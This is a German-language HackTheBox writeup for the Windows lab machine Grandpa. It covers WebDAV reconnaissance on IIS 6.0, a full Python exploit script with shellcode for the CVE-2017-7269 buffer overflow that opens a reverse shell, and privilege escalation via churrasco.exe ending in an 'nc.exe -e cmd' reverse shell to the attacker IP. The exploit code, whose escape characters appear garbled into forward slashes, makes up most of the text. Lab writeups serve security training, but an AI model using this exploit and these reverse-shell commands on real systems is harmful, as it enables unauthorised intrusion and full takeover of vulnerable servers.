> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/grandpa-hackthebox-writeup.md).

# Grandpa HackTheBox Writeup

Writeup zur HackTheBox-Easy-Windows-Maschine Grandpa mit Abdeckung von Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow (RCE), Token Kidnapping - Churrasco (Privilegieneskalation), mit prakt

{% embed url="<https://app.hackthebox.com/machines/Grandpa>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow (RCE)
* Token Kidnapping - Churrasco (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b082587d755afe576b216c4dda1ff7e31930a17%2F%7BF51BA4AF-44C1-4EC3-AF5A-450EA752BC1B%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3555ee33402148daddc17077b4333662ea375f1%2F%7BEF869424-70BA-4A8F-8A3B-D154073F9EAE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Suche mit Nmap nach offenen Ports: 80**

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.14 -oG allPortsbash
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc60ce83e742af5a538131d47bf707a37f4e5db5%2F%7B1112E4D0-ABAB-4323-AD56-FCBE635BF133%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Port-Version-Scan mit Nmap:**

```bash
nmap -sCV -p80 10.10.10.14 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8ec923df7e6272beb46d4aad53089ab43d9980cb%2F%7B7432451F-5ED2-430A-A6AA-4AA1377D60BD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir bemerken, dass die Seite **WebDAV** unter **Microsoft-IIS 6.0**.

## Ausnutzung von WebDAV - Microsoft-IIS 6.0

**Upload-Test mit Davtest**

Wir prüfen, ob wir schädliche Dateien einschleusen können:

```bash
davtest -url http://10.10.10.14
```

Allerdings gibt jede Erweiterung **fehl** zurück, was darauf hindeutet, dass Uploads eingeschränkt sind.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e4cb6bc5384505ad410c7c6260c3c3349448a32%2F%7B10806CDB-424A-424F-B244-522D83E564E8%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Da wir bestätigt haben, dass der Server läuft **IIS 6.0**nutzen wir eine Schwachstelle von **Pufferüberlauf** entdeckt im Jahr 2017.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-101e795548655b488c6a9fe30c44a9a2c5bc9750%2F%7B69DA912E-B759-4168-9442-404FD35261C8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Hier ist ein Python-Skript, um diese Schwachstelle auszunutzen und eine Shell zu erhalten:

{% embed url="<https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269>" %}

```python
import sys
import struct
import socket  

if len(sys.argv)<5:
    print 'usage:iis6webdav.py targetip targetport reverseip reverseport/n'
    exit(1)
targetip = sys.argv[1]
targetport = int(sys.argv[2])
reverseip = sys.argv[3]
reverseport = int(sys.argv[4])

shellcode='/x55/x8B/xEC/x81/xEC/xDC/x05/x00/x00/x53/x56/x57/x8B/x45/x08/x8B'+/
' /x40/x78/x89/x85/xE4/xFA/xFF/xFF/x8B/x45/x08/x8B/x40/x70/x89/x45'+/
' /xFC/xC7/x85/xC8/xFC/xFF/xFF/x77/x73/x32/x5F/xC7/x85/xCC/xFC/xFF'+/
' /xFF/x33/x32/x2E/x64/xC7/x85/xD0/xFC/xFF/xFF/x6C/x6C/x00/x00/xC7'+/
' /x85/xD8/xFA/xFF/xFF/x57/x53/x41/x53/xC7/x85/xDC/xFA/xFF/xFF/x74'+/
' /x61/x72/x74/xC7/x85/xE0/xFA/xFF/xFF/x75/x70/x00/x00/xC7/x85/x58'+/
' /xFA/xFF/xFF/x57/x53/x41/x53/xC7/x85/x5C/xFA/xFF/xFF/x6F/x63/x6B'+/
' /x65/xC7/x85/x60/xFA/xFF/xFF/x74/x41/x00/x00/xC7/x85/xE8/xFC/xFF'+/
' /xFF/x57/x53/x41/x43/xC7/x85/xEC/xFC/xFF/xFF/x6F/x6E/x6E/x65/xC7'+/
' /x85/xF0/xFC/xFF/xFF/x63/x74/x00/x00/xC7/x85/xA8/xFA/xFF/xFF/x69'+/
' /x6E/x65/x74/xC7/x85/xAC/xFA/xFF/xFF/x5F/x61/x64/x64/xC7/x85/xB0'+/
' /xFA/xFF/xFF/x72/x00/x00/x00/xC7/x85/x14/xFD/xFF/xFF/x68/x74/x6F'+/
' /x6E/xC7/x85/x18/xFD/xFF/xFF/x73/x00/x00/x00/xC7/x85/xF4/xFC/xFF'+/
' /xFF/x43/x3A/x5C/x57/xC7/x85/xF8/xFC/xFF/xFF/x69/x6E/x64/x6F/xC7'+/
' /x85/xFC/xFC/xFF/xFF/x77/x73/x5C/x73/xC7/x85/x00/xFD/xFF/xFF/x79'+/
' /x73/x74/x65/xC7/x85/x04/xFD/xFF/xFF/x6D/x33/x32/x5C/xC7/x85/x08'+/
' /xFD/xFF/xFF/x63/x6D/x64/x2E/xC7/x85/x0C/xFD/xFF/xFF/x65/x78/x65'+/
' /x00/xC7/x85/x18/xFB/xFF/xFF/x43/x3A/x5C/x57/xC7/x85/x1C/xFB/xFF'+/
' /xFF/x69/x6E/x64/x6F/xC7/x85/x20/xFB/xFF/xFF/x77/x73/x5C/x73/xC7'+/
' /x85/x24/xFB/xFF/xFF/x79/x73/x74/x65/xC7/x85/x28/xFB/xFF/xFF/x6D'+/
' /x33/x32/x5C/xC7/x85/x2C/xFB/xFF/xFF/x63/x61/x6C/x63/xC7/x85/x30'+/
' /xFB/xFF/xFF/x2E/x65/x78/x65/x83/xA5/x34/xFB/xFF/xFF/x00/xC7/x85'+/
' /xE8/xFA/xFF/xFF/x43/x3A/x5C/x57/xC7/x85/xEC/xFA/xFF/xFF/x49/x4E'+/
' /x44/x4F/xC7/x85/xF0/xFA/xFF/xFF/x57/x53/x5C/x49/xC7/x85/xF4/xFA'+/
' /xFF/xFF/x49/x53/x20/x54/xC7/x85/xF8/xFA/xFF/xFF/x65/x6D/x70/x6F'+/
' /xC7/x85/xFC/xFA/xFF/xFF/x72/x61/x72/x79/xC7/x85/x00/xFB/xFF/xFF'+/
' /x20/x43/x6F/x6D/xC7/x85/x04/xFB/xFF/xFF/x70/x72/x65/x73/xC7/x85'+/
' /x08/xFB/xFF/xFF/x73/x65/x64/x20/xC7/x85/x0C/xFB/xFF/xFF/x46/x69'+/
' /x6C/x65/xC7/x85/x10/xFB/xFF/xFF/x73/x5C/x63/x2E/xC7/x85/x14/xFB'+/
' /xFF/xFF/x65/x78/x65/x00/xC7/x85/xD0/xFA/xFF/xFF'+struct.pack('i',reverseport)+/
' /xE9/x3E/x04/x00/x00/x5F/x89/xBD/xB4/xFA/xFF/xFF/xE8/x4C/x04/x00'+/
' /x00/x89/x85/x24/xFA/xFF/xFF/x68/x53/xC0/x49/x9C/xFF/xB5/x24/xFA'+/
' /xFF/xFF/xE8/x5D/x04/x00/x00/x59/x59/x89/x85/x28/xFA/xFF/xFF/x68'+/
' /x5A/xC1/xCB/xC2/xFF/xB5/x24/xFA/xFF/xFF/xE8/x45/x04/x00/x00/x59'+/
' /x59/x89/x85/x2C/xFA/xFF/xFF/x68/x1C/xC9/x05/xBA/xFF/xB5/x24/xFA'+/
' /xFF/xFF/xE8/x2D/x04/x00/x00/x59/x59/x89/x85/x30/xFA/xFF/xFF/x68'+/
' /x54/x34/x4F/xA2/xFF/xB5/x24/xFA/xFF/xFF/xE8/x15/x04/x00/x00/x59'+/
' /x59/x89/x85/x34/xFA/xFF/xFF/x68/x12/x75/x1D/x45/xFF/xB5/x24/xFA'+/
' /xFF/xFF/xE8/xFD/x03/x00/x00/x59/x59/x89/x85/x38/xFA/xFF/xFF/x68'+/
' /xE9/x65/x73/x1B/xFF/xB5/x24/xFA/xFF/xFF/xE8/xE5/x03/x00/x00/x59'+/
' /x59/x89/x85/x3C/xFA/xFF/xFF/x68/x3A/xFD/xFB/x1E/xFF/xB5/x24/xFA'+/
' /xFF/xFF/xE8/xCD/x03/x00/x00/x59/x59/x89/x85/x40/xFA/xFF/xFF/x68'+/
' /xBD/x50/xD7/x2D/xFF/xB5/x24/xFA/xFF/xFF/xE8/xB5/x03/x00/x00/x59'+/
' /x59/x89/x85/x44/xFA/xFF/xFF/x68/xEF/x60/x08/xE7/xFF/xB5/x24/xFA'+/
' /xFF/xFF/xE8/x9D/x03/x00/x00/x59/x59/x89/x85/x48/xFA/xFF/xFF/x68'+/
' /x83/x94/x7B/x10/xFF/xB5/x24/xFA/xFF/xFF/xE8/x85/x03/x00/x00/x59'+/
' /x59/x89/x85/x4C/xFA/xFF/xFF/x68/x49/x17/x55/xC0/xFF/xB5/x24/xFA'+/
' /xFF/xFF/xE8/x6D/x03/x00/x00/x59/x59/x89/x85/x50/xFA/xFF/xFF/x68'+/
' /xD9/xE5/x1A/x06/xFF/xB5/x24/xFA/xFF/xFF/xE8/x55/x03/x00/x00/x59'+/
' /x59/x89/x85/x54/xFA/xFF/xFF/x8D/x85/xC8/xFC/xFF/xFF/x50/xFF/x95'+/
' /x28/xFA/xFF/xFF/x89/x85/x1C/xFD/xFF/xFF/x83/xBD/x1C/xFD/xFF/xFF'+/
' /x00/x0F/x84/x39/x01/x00/x00/x83/xA5/xD4/xFA/xFF/xFF/x00/xEB/x0D'+/
' /x8B/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF/xFF/x83/xBD/xD4'+/
' /xFA/xFF/xFF/x44/x73/x10/x8B/x85/xD4/xFA/xFF/xFF/x80/xA4/x05/x64'+/
' /xFA/xFF/xFF/x00/xEB/xDA/x83/xA5/xD4/xFA/xFF/xFF/x00/xEB/x0D/x8B'+/
' /x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF/xFF/x83/xBD/xD4/xFA'+/
' /xFF/xFF/x10/x73/x10/x8B/x85/xD4/xFA/xFF/xFF/x80/xA4/x05/x20/xFD'+/
' /xFF/xFF/x00/xEB/xDA/x8D/x85/x20/xFD/xFF/xFF/x50/x8D/x85/x64/xFA'+/
' /xFF/xFF/x50/x6A/x00/x6A/x00/x6A/x04/x6A/x00/x6A/x00/x6A/x00/x6A'+/
' /x00/x8D/x85/x18/xFB/xFF/xFF/x50/xFF/x95/x34/xFA/xFF/xFF/xFF/xB5'+/
' /x24/xFD/xFF/xFF/xFF/x95/x3C/xFA/xFF/xFF/x68/xE8/x03/x00/x00/xFF'+/
' /x95/x54/xFA/xFF/xFF/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x40/xFA/xFF'+/
' /xFF/xC7/x85/x30/xFD/xFF/xFF/x01/x00/x01/x00/x8D/x85/x30/xFD/xFF'+/
' /xFF/x50/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x44/xFA/xFF/xFF/x6A/x40'+/
' /x68/x00/x10/x00/x00/xFF/x75/xFC/x6A/x00/xFF/xB5/x20/xFD/xFF/xFF'+/
' /xFF/x95/x48/xFA/xFF/xFF/x89/x85/x10/xFD/xFF/xFF/x6A/x00/xFF/x75'+/
' /xFC/xFF/xB5/xE4/xFA/xFF/xFF/xFF/xB5/x10/xFD/xFF/xFF/xFF/xB5/x20'+/
' /xFD/xFF/xFF/xFF/x95/x4C/xFA/xFF/xFF/x8B/x85/x10/xFD/xFF/xFF/x89'+/
' /x85/xE8/xFD/xFF/xFF/xC7/x85/x30/xFD/xFF/xFF/x01/x00/x01/x00/x8D'+/
' /x85/x30/xFD/xFF/xFF/x50/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x50/xFA'+/
' /xFF/xFF/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x3C/xFA/xFF/xFF/xEB/x1E'+/
' /x6A/x00/x8D/x85/xE8/xFA/xFF/xFF/x50/x8D/x85/xF4/xFC/xFF/xFF/x50'+/
' /xFF/x95/x30/xFA/xFF/xFF/x6A/x01/xFF/x95/x38/xFA/xFF/xFF/x68/x70'+/
' /x17/x00/x00/xFF/x95/x54/xFA/xFF/xFF/x8D/x85/xD8/xFA/xFF/xFF/x50'+/
' /xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85/xBC/xFA'+/
' /xFF/xFF/x8D/x85/x58/xFA/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF'+/
' /x95/x2C/xFA/xFF/xFF/x89/x85/xC0/xFA/xFF/xFF/x8D/x85/xE8/xFC/xFF'+/
' /xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85'+/
' /xC4/xFA/xFF/xFF/x8D/x85/xA8/xFA/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF'+/
' /xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85/xC8/xFA/xFF/xFF/x8D/x85/x14'+/
' /xFD/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF'+/
' /x89/x85/xCC/xFA/xFF/xFF/x8D/x85/x38/xFB/xFF/xFF/x50/x68/x02/x02'+/
' /x00/x00/xFF/x95/xBC/xFA/xFF/xFF/x6A/x00/x6A/x00/x6A/x00/x6A/x06'+/
' /x6A/x01/x6A/x02/xFF/x95/xC0/xFA/xFF/xFF/x89/x85/xD4/xFC/xFF/xFF'+/
' /x66/xC7/x85/xD8/xFC/xFF/xFF/x02/x00/xFF/xB5/xD0/xFA/xFF/xFF/xFF'+/
' /x95/xCC/xFA/xFF/xFF/x66/x89/x85/xDA/xFC/xFF/xFF/xFF/xB5/xB4/xFA'+/
' /xFF/xFF/xFF/x95/xC8/xFA/xFF/xFF/x89/x85/xDC/xFC/xFF/xFF/x6A/x00'+/
' /x6A/x00/x6A/x00/x6A/x00/x6A/x10/x8D/x85/xD8/xFC/xFF/xFF/x50/xFF'+/
' /xB5/xD4/xFC/xFF/xFF/xFF/x95/xC4/xFA/xFF/xFF/x83/xA5/xD4/xFA/xFF'+/
' /xFF/x00/xEB/x0D/x8B/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF'+/
' /xFF/x83/xBD/xD4/xFA/xFF/xFF/x44/x73/x10/x8B/x85/xD4/xFA/xFF/xFF'+/
' /x80/xA4/x05/x64/xFA/xFF/xFF/x00/xEB/xDA/xC7/x85/x64/xFA/xFF/xFF'+/
' /x44/x00/x00/x00/xC7/x85/x90/xFA/xFF/xFF/x01/x01/x00/x00/x8B/x85'+/
' /xD4/xFC/xFF/xFF/x89/x85/xA4/xFA/xFF/xFF/x8B/x85/xA4/xFA/xFF/xFF'+/
' /x89/x85/xA0/xFA/xFF/xFF/x8B/x85/xA0/xFA/xFF/xFF/x89/x85/x9C/xFA'+/
' /xFF/xFF/x8D/x85/x20/xFD/xFF/xFF/x50/x8D/x85/x64/xFA/xFF/xFF/x50'+/
' /x6A/x00/x6A/x00/x6A/x00/x6A/x01/x6A/x00/x6A/x00/x8D/x85/xE8/xFA'+/
' /xFF/xFF/x50/x6A/x00/xFF/x95/x34/xFA/xFF/xFF/x6A/x01/xFF/x95/x38'+/
' /xFA/xFF/xFF/xE8/xBD/xFB/xFF/xFF'+struct.pack('16s',reverseip)+'/x5F/x5E/x5B/xC9/xC3/x64/xA1/x18'+/
' /x00/x00/x00/x8B/x40/x30/x33/xC9/x8B/x40/x0C/x8B/x40/x1C/x8B/x00'+/
' /x8B/x50/x20/x66/x83/x7A/x10/x2E/x74/x06/x41/x83/xF9/x02/x7C/xEE'+/
' /x8B/x40/x08/xC3/x55/x8B/xEC/x53/x56/x57/x8B/x7D/x08/x83/x65/x08'+/
' /x00/x8B/x47/x3C/x8B/x44/x38/x78/x03/xC7/x8B/x70/x20/x03/xF7/x83'+/
' /x78/x18/x00/x76/x2A/x8B/x0E/x03/xCF/x33/xDB/x8A/x11/x84/xD2/x74'+/
' /x0B/x6B/xDB/x21/x0F/xBE/xD2/x03/xDA/x41/xEB/xEF/x3B/x5D/x0C/x74'+/
' /x15/x83/xC6/x04/xFF/x45/x08/x8B/x4D/x08/x3B/x48/x18/x72/xD6/x33'+/
' /xC0/x5F/x5E/x5B/x5D/xC3/x8B/x48/x24/x8B/x55/x08/x8B/x40/x1C/x8D'+/
' /x0C/x51/x0F/xB7/x0C/x39/x8D/x04/x88/x8B/x04/x38/x03/xC7/xEB/xE1'
shellcodelen = 1744

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect((targetip,targetport))
pay='PROPFIND / HTTP/1.1/r/nHost: localhost/r/nContent-Length: %d/r/n'%shellcodelen
pay+='If: <http://localhost/aaaaaaa'
pay+='/xe6/xbd/xa8/xe7/xa1/xa3/xe7/x9d/xa1/xe7/x84/xb3/xe6/xa4/xb6/xe4/x9d/xb2/xe7/xa8/xb9/xe4/xad/xb7/xe4/xbd/xb0/xe7/x95/x93/xe7/xa9/x8f/xe4/xa1/x8a/xe5/x99/xa3/xe6/xb5/94/xe6/xa1/x85/xe3/xa5/x93/xe5/x81/xac/xe5/x95/xa7/xe6/x9d/xa3/xe3/x8d/xa4/xe4/x98/xb0/xe7/xa1/x85/xe6/xa5/x92/xe5/x90/xb1/xe4/xb1/x98/xe6/xa9/x91/xe7/x89/x81/xe4/x88/xb1/xe7/x80/xb5/xe5/xa1/x90/xe3/x99/xa4/xe6/xb1/x87/xe3/x94/xb9/xe5/x91/xaa/xe5/x80/xb4/xe5/x91/x83/xe7/x9d/x92/xe5/x81/xa1/xe3/x88/xb2/xe6/xb5/x8b/xe6/xb0/xb4/xe3/x89/x87/xe6/x89/x81/xe3/x9d/x8d/xe5/x85/xa1/xe5/xa1/xa2/xe4/x9d/xb3/xe5/x89/x90/xe3/x99/xb0/xe7/x95/x84/xe6/xa1/xaa/xe3/x8d/xb4/xe4/xb9/x8a/xe7/xa1/xab/xe4/xa5/xb6/xe4/xb9/xb3/xe4/xb1/xaa/xe5/x9d/xba/xe6/xbd/xb1/xe5/xa1/x8a/xe3/x88/xb0/xe3/x9d/ae/xe4/xad/x89/xe5/x89/x8d/xe4/xa1/xa3/xe6/bd/x8c/xe7/x95/x96/xe7/x95/xb5/xe6/x99/xaf/xe7/x99/xa8/xe4/x91/x8d/xe5/x81/xb0/xe7/xa8/xb6/xe6/x89/x8b/xe6/x95/x97/xe7/x95/x90/xe6/xa9/xb2/xe7/xa9/xab/xe7/x9d/xa2/xe7/x99/x98/xe6/x89/x88/xe6/x94/xb1/xe3/x81/x94/xe6/xb1/xb9/xe5/x81/x8a/xe5/x91/xa2/xe5/x80/xb3/xe3/x95/xb7/xe6/xa9/xb7/xe4/x85/x84/xe3/x8c/xb4/xe6/x91/xb6/xe4/xb5/x86/xe5/x99/x94/xe4/x9d/xac/xe6/x95/x83/xe7/x98/xb2/xe7/x89/xb8/xe5/x9d/xa9/xe4/x8c/xb8/xe6/x89/xb2/xe5/xa8/xb0/xe5/xa4/xb8/xe5/x91/x88/xc8/x82/xc8/x82/xe1/x8b/x80/xe6/xa0/x83/xe6/xb1/x84/xe5/x89/x96/xe4/xac/xb7/xe6/xb1/xad/xe4/xbd/x98/xe5/xa1/x9a/xe7/xa5/x90/xe4/xa5/xaa/xe5/xa1/x8f/xe4/xa9/x92/xe4/x85/x90/xe6/x99/x8d/xe1/x8f/x80/xe6/xa0/x83/xe4/xa0/xb4/xe6/x94/xb1/xe6/bd/x83/xe6/b9/xa6/xe7/x91/x81/xe4/x8d/xac/xe1/x8f/x80/xe6/xa0/x83/xe5/x8d/x83/xe6/a9/x81/xe7/x81/x92/xe3/x8c/xb0/xe5/xa1/xa6/xe4/x89/x8c/xe7/x81/x8b/xe6/x8d/x86/xe5/x85/xb3/xe7/xa5/x81/xe7/xa9/x90/xe4/xa9/xac'
pay+='>'
pay+=' (Nicht <locktoken:write1>) <http://localhost/bbbbbbb'
pay+='/xe7/xa5/x88/xe6/85/xb5/xe4/xbd/x83/xe6/bd/xa7/xe6/ad/xaf/xe4/xa1/x85/xe3/x99/x86/xe6/9d/xb5/xe4/90/xb3/xe3/a1/xb1/xe5/9d/xa5/xe5/xa9/xa2/xe5/90/xb5/xe5/x99/xa1/xe6/xa5/92/xe6/a9/93/xe5/85/97/xe3/a1/8e/xe5/xa5/x88/xe6/x8d/x95/xe4/a5/xb1/xe4/8d/xa4/xe6/91/xb2/xe3/91/xa8/xe4/9d/x98/xe7/85/xb9/xe3/8d/xab/xe6/ad/95/xe6/xb5/88/xe5/81/8f/xe7/a9/86/xe3/91/xb1/xe6/bd/x94/xe7/91/x83/xe5/a5/x96/xe6/bd/xaf/xe7/8d/x81/xe3/91/97/xe6/85/xa8/xe7/a9/xb2/xe3/9d/85/xe4/b5/89/xe5/9d/x8e/xe5/91/x88/xe4/b0/xb8/xe3/99/xba/xe3/95/xb2/xe6/89/xa6/xe6/b9/83/xe4/a1/xad/xe3/95/88/xe6/85/xb7/xe4/b5/x9a/xe6/85/xb4/xe4/84/xb3/xe4/8d/xa5/xe5/x89/xb2/xe6/xb5/a9/xe3/99/xb1/xe4/b9/xa4/xe6/b8/xb9/xe6/x8d/x93/xe6/xad/a4/xe5/85/86/xe4/xbc/xb0/xe7/a1/xaf/xe7/89/93/xe6/9d/90/xe4/95/x93/xe7/a9/a3/xe7/84/xb9/xe4/xbd/93/xe4/91/x96/xe6/xbc/xb6/xe7/8d/xb9/xe6/a1/xb7/xe7/a9/96/xe6/85/8a/xe3/a5/85/xe3/98/b9/xe6/b0/b9/xe4/94/b1/xe3/91/xb2/xe5/8d/xa5/xe5/a1/x8a/xe4/91/x8e/xe7/a9/84/xe6/b0/b5/xe5/a9/96/xe6/89/x81/xe6/b9/xb2/xe6/98/xb1/xe5/a5/x99/xe5/90/xb3/xe3/85/82/xe5/a1/xa5/xe5/a5/81/xe7/85/x90/xe3/80/xb6/xe5/9d/xb7/xe4/91/x97/xe5/8d/xa1/xe1/x8f/x80/xe6/a0/x83/xe6/b9/x8f/xe6/a0/x80/xe6/b9/x8f/xe6/a0/x80/xe4/89/x87/xe7/99/xaa/xe1/x8f/x80/xe6/a0/x83/xe4/89/x97/xe4/bd/xb4/xe5/a5/x87/xe5/88/xb4/xe4/ad/a6/xe4/ad/x82/xe7/91/xa4/xe7/a1/xaf/xe6/82/x82/xe6/a0/x81/xe5/84/xb5/xe7/89/xba/xe7/91/xba/xe4/xb5/87/xe4/91/x99/xe5/9d/x97/eb/x84/x93/xe6/a0/x80/xe3/85/xb6/xe6/b9/xaf/xe2/93/xa3/xe6/a0/x81/xe1/91/xa0/xe6/a0/x83/xcc/x80/xe7/xbf/xbe/xef/xbf/xbf/xef/xbf/xbf/xe1/x8f/x80/xe6/a0/x83/xd1/ae/xe6/a0/x83/xe7/85/ae/xe7/91/xb0/xe1/90/xb4/xe6/a0/x83/xe2/a7/xa7/xe6/a0/x81/xe9/8e/91/xe6/a0/x80/xe3/a4/xb1/xe6/99/ae/xe4/a5/95/xe3/81/92/xe5/91/xab/xe7/99/xab/xe7/89/8a/xe7/a5/xa1/xe1/90/9c/xe6/a0/x83/xe6/b8/85/xe6/a0/x80/xe7/x9c/xb2/xe7/a5/xa8/xe4/xb5/a9/xe3/99/ac/xe4/91/xa8/xe4/xb5/xb0/xe8/89/86/xe6/a0/x80/xe4/a1/xb7/xe3/89/93/xe1/b6/aa/xe6/a0/82/xe6/bd/xaa/xe4/8c/xb5/xe1/x8f/xb8/xe6/a0/x83/xe2/a7/xa7/xe6/a0/81'
smallsc='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A'
pay+=smallsc
pay+='>/r/n/r/n'
print pay
sock.send(pay)
sock.send(shellcode)
data = sock.recv(80960)  
print data 
sock.close
```

#### Wir horchen auf Port 443:

```bash
rlwrap nc -nvlp 443
```

#### Dann starten wir den Exploit:

```bash
python2 iis6webdav.py 10.10.10.14 80 10.10.14.32 443
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b522822278c078c470f358f80140810e5d9577e%2Fimage%20(2813).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

### Kernel-Exploitation - Windows Server 2003 <a href="#windows-server-2003-kernel-exploitation" id="windows-server-2003-kernel-exploitation"></a>

Durch das Ausführen des `systeminfo` Befehl finden wir heraus, dass das Zielsystem unter **Windows Server 2003**läuft, einem veralteten und verwundbaren Betriebssystem:

```bash
systeminfo
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ef6e38008f234310df390d17f0f81aaeabe4f93%2F%7BF5CDE9FC-A2A2-412F-B585-D9CBB15E317E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Außerdem haben wir das Privileg **SeImpersonatePrivilege**und können damit versuchen, über bekannte Techniken Rechte auszuweiten.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30f15dd7b2709a35d9fc92ede975e1da3ef6b983%2F%7BE5C81EE1-4019-4E9F-89FD-9FE9A1BC8C7F%7D.png?alt=media" alt="" width="542"><figcaption></figcaption></figure>

#### Verwendung von churrasco.exe

Um diese Schwachstelle auszunutzen, werden wir **churrasco.exe**einen Exploit verwenden, um SYSTEM-Rechte zu erhalten.

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

/*/* Windows-Dateiübertragung (SMB)/*/*

> Wir verwenden **smbserver.py** um ein Verzeichnis mit der Exploit-Datei 40627.exe freizugeben. Diese Datei wird dann auf das Zielsystem kopiert.

```bash
smbserver.py share $(pwd) -smb2support
```

Vom Zielsystem haben wir die Exploit-Datei in das aktuelle Verzeichnis kopiert:

```bash
copy //10.10.14.32/share/churrasco.exe churrasco.exe
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f14f2a8fa3126bc6e4fc24e6e4616bb0a73f7ab2%2F%7B3581F8F7-6917-4900-A246-930213332D61%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Anschließend können wir mit dieser Binärdatei jeden beliebigen Befehl ausführen, zum Beispiel:

```bash
./churrasco.exe "whoami"
```

Wenn der Exploit korrekt funktioniert, sollten wir **NT AUTHORITY/SYSTEM**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d2fe4aa81eacac25e2779a7e4f14089112b104c%2F%7B6F7BC816-C0C4-481D-BFAA-878ED4A10DC7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Reverse Shell herstellen**

Um eine Reverse Shell herzustellen, lauschen wir auf Port 443:

```bash
rlwrap nc -nvlp 443
```

Wir erstellen erneut einen SMB-Server mit **nc.exe**

```bash
smbserver.py share $(pwd) -smb2support
```

Schließlich führen wir die Reverse Shell mit dem folgenden Befehl aus:

```bash
./churrasco.exe "//10.10.14.32/share/nc.exe -e cmd 10.10.14.32 443"
```

